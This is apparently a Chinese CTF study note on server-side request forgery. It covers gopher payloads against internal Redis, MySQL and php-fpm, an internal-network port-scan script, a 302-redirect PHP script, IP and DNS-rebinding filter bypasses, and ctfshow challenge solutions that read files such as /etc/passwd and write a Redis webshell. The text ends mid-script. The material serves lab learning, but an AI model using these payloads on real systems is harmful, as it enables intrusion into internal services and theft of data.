CTF 题型 SSRF攻击&例题总结
文章目录
- CTF 题型 SSRF攻击&例题总结
- Server-side Request Forgery 服务端请求伪造
- SSRF的利用面
- 1 任意文件读取 前提是知道要读取的文件名
- 2 探测内网资源
- 3 使用gopher协议扩展攻击面
- Gopher协议 (注意是70端口)
- python脚本(基于gopher转发监听)探测内网资源
- mysql 3306
- php-fpm
- php原生类进行ssrf
- SSSR攻击绕过
- 1.enclosed alphanumerics 绕过(特殊情况)
- 2 使用IP地址转换
- 3 系统特性绕过
- 4 302跳转
- 5 利用短网址绕过
- 6.重绑定攻击
- 7.域名解析A记录绕过
- 典型例题
- 补充
- 其他绕过127的方法
- 利用不存在的协议头绕过指定的协议头
- URL解析差异
- ctfshow SSRF 靶场通关
- web351
- web352
- web353
- web354
- web354
- **web355**
- **web356**
- **web357**
- web358
- web359
- web360
- 国关师傅的SSRF靶场通关
- 从基本原理理解(不用gopher-master)
SSRF攻击方式
Server-side Request Forgery 服务端请求伪造
概念:攻击者向服务端发送包含恶意url连接的请求,借由服务端发起请求
以便获取服务端网络内部的资源
总结:
控制服务端使用指定协议访问指定的url
SSRF的利用面
1 任意文件读取 前提是知道要读取的文件名
2 探测内网资源
127.0.0.1 mysql服务端监听了127.0.0.1这个地址,也就表示,只能通过127.0.0.1这个IP来访问 因此,我们只能通过SSRF 本地服务器转发请求,才可以请求MySQL服务
0.0.0.0 表示允许任意ip访问
3 使用gopher协议扩展攻击面
Gopher协议 (注意是70端口)
gopher://ip:70/_tcp数据流
/之后的第一个字符不会被读取所以写成/_便于区分
常用工具:https://github.com/tarunkant/Gopherus(生成数据时会自动编码一次)
易错:生成数据之后还要urlencode编码一次才可利用
原因: 数据流经过了两层服务器解析
存在SSRF漏洞的服务器编码一次,目标服务器编码一次,所以一共编码两次
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP
Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面
Gopher协议格式
- 如果发起POST请求,回车换行需要使用
%0d%0a
来代替%0a
,如果多个参数,参数之间的&也需要进行URL编码
利用Gopher协议发送HTTP请求
步骤
注意这几个问题:
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a(不用hackbar)
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
python脚本(基于gopher转发监听)探测内网资源
import requests
#url = "http://127.0.0.1:3000/"
ports = [21,22,80,443,3389,1433,3306,6379,8080,8088,3000,9000]
#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm 默认端口 默认不打会污染环境
#8080 tomcat 默认端口
#ports=list(range(1, 10001))
for c in range(1,255):
for p in ports:
try:
#data={"url":f"gopher://127.0.0.1:{p}/"}
url=f"http://111.229.88.209:10000/?syc=gopher://172.17.0.{c}:{p}/"
response = requests.get(url=url,timeout=2)
except:
with open ("client.txt","w") as f:
f.write(f"172.17.0.{c}端口{p}开放")
print(f"172.17.0.{c}端口{p}开放")
关键服务
apache/nginx 80
tomcat 8080
node 3000
flask 8080
php-fpm 9000
mysql 3306
ftp 21
ssh 22
redis 6379
mysql 3306
一般用户密码为空 才可利用
php-fpm
php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问
主要负责对.php文件的代码解释执行
我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码
通过向9000端口发送php执行请求
利用方法 php.ini
通过设置php.ini中的运行参数
其中使用 auto_append_file 来指定 php://input 包含恶意代码,然后执行
为了能使用auto_append_file参数,必须有一个存在的php文件来使用这个配置项
php原生类进行ssrf
s o a p = n e w S o a p C l i e n t ( soap = new SoapClient( soap=newSoapClient(_GET[‘url’]);
$soap->hack();
//$soap->__call()
url可控时,可以发送内网请求
SSSR攻击绕过
只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址
1.enclosed alphanumerics 绕过(特殊情况)
Enclosed Alphanumerics是一种Unicode字符集,其中包括被圆圈、括号或其他类型的封闭图形所包围的字母和数字。例如,数字 “1” 可以表示为 “①”。在某些情况下,攻击者可能会尝试使用这些特殊字符来绕过输入校验。
随附的字母数字[1]
官方 Unicode 联盟代码表(PDF)
0 1 2 3 4 5 6 7 8 9 A 乙 C D 乙 F
U+246x ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯
U+247x ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿
U+248x ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏
U+249x ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟
U+24斧 ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯
U+24Bx ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ
U+24Cx Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
U+24Dx ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ
U+24Ex ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯
U+24Fx ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
127.0.0.1
127.⓿.⓿.1
2 使用IP地址转换
所有的域名->IP
ip可以使用不同进制来表示
127.0.0.1用不同进制可以表示为
- 2130706433 10进制 http://2130706433
- 017700000001 8进制 http://017700000001
- 7F000001 16进制 http://0x7F000001
还可以点分表示
3 系统特性绕过
Windows 下 0 代表的是0.0.0.0
而Linux 下 0 代表的是127.0.0.1
127.0.0.1 可以省略为 127.1
127。0。0。1 可以替代127.0.0.1
4 302跳转
可以发送http的协议。但是返回的location为其他协议
http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&payload=xxxx
302脚本
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}
//?s=http&i=127.0.0.1&q=flag.php
5 利用短网址绕过
baidu.com 不允许出现baidu
或者限制了url长度,我们可以切换为短网址,来绕过长度的限制
http://rurl.vip/eW7AU
6.重绑定攻击
极其类似条件竞争 通过host合法验证后 TTL缓存失效后,DNS解析重定向到127.0.0.1
具体实现攻击
1.ceye.io注册绑定DNS重绑定127.0.0.1然后记得前面加r
访问r.自己分配的地址
2.DNS重绑定利用:https://lock.cmpxchg8b.com/rebinder.html
7.域名解析A记录绕过
将自己的域名A记录指向127.0.0.1
典型例题
题目禁止 localhost,0,1,。
方法有 三种
方法一:域名指向127
在自己的域名中添加一条A记录指向 127.0.0.1
或者使用 http://sudo.cc
这个域名就是指向127.0.0.1
方法二:302跳转
在自己的网站页面添加
<?phpheader("Location:http://127.0.0.1/flag.php");
重定向到127
方法三:DNS-Rebinding
自己去ceye.io注册绑定127.0.0.1然后记得前面加r
或者 https://lock.cmpxchg8b.com/rebinder.html
补充
其他绕过127的方法
- 如果目标代码限制访问的域名只能为
http://www.xxx.com
,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com http://www.evil.com/
- http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有
http://nip.io,http://sslip.io
- 短网址目前基本都需要登录使用,如缩我,https://4m.cn/
- 各种指向127.0.0.1的地址
利用不存在的协议头绕过指定的协议头
file_get_contents()
函数的一个特性,即当PHP的file_get_contents()
函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)//路径穿越的原理
上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:
此时file_get_contents()
函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:
URL解析差异
1.readfile和parse_user函数解析差异绕过指定端口
上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过
可以成功读取11211端口flag.txt文件,原理如下图
两个函数解析host也存在差异
利用这种差异的不同,可以绕过题目中parse_url()函数对指定host的限制
2.利用curl和parse_url的解析差异绕过指定host
ctfshow SSRF 靶场通关
web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
file:///etc/hosts 存在SSRF
直接 url=http://0/flag.php
Linux特性 0 可以代表 127.0.0.1
web352
url=http://0/flag.php
web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
url=http://0x7F.0.0.1/flag.php
点分+进制转换
web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
302跳转 但是我是裸ip…
web354
if(!preg_match('/localhost|1|0|。/i', $url))
方法一:域名指向127
在自己的域名中添加一条A记录指向 127.0.0.1
或者使用 http://sudo.cc
这个域名就是指向127.0.0.1
方法二:302跳转
在自己的网站页面添加
<?phpheader("Location:http://127.0.0.1/flag.php");
重定向到127
方法三:DNS-Rebinding
自己去ceye.io注册绑定127.0.0.1然后记得前面加r
url=http://r.xxxzc8.ceye.io/flag.php
or https://lock.cmpxchg8b.com/rebinder.html
web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
url=http://0/flag.php
web356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
url=http://0/flag.php
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']); //ipv4地址
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');//
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme
url=http://r.t4ekuo.ceye.io/flag.php
dns重绑定 类似条件竞争
file_get_content = 远程include + SSRF
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
poc
http://ctf.@127.0.0.1/flag.php?show //注意题干要求
web359
判断可以写入文件地址
无回显
写文件(运气)
web360
url=dict://0:6379/info
判断redis未授权
用gopherus写马
工具地址
https://github.com/tarunkant/Gopherus
redis写phpshell马
国关师傅的SSRF靶场通关
这是之前零星的笔记,内容不全,建议跳过
arp_sweep的原理
arp_sweep
是一个通常在本地网络(LAN)中使用的技术,用来发现活跃的设备。
即使host 80端口关闭,仍有arp协议解析
可以通过查看arp缓存表,判断内网存活主机
验证存在ssrf漏洞
file:///etc/passwd
查询C段
file:///etc/hosts
两个网段对应两个网卡
查看arp缓存表
file:///proc/net/arp
类似浏览器的历史记录,有过通信才有记录(目录默认是当前路径 / 不要忘)
如何有通信,bp发http包
不推荐,容易误判
kali自带comment目录
Untitled
http他爹
POST后不加换行
注意事项:(用hackerbar换行为%0a(不可以))
POST传参
remote_add不可伪造:考点SSRF
限制内网ip
vps挂302脚本
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header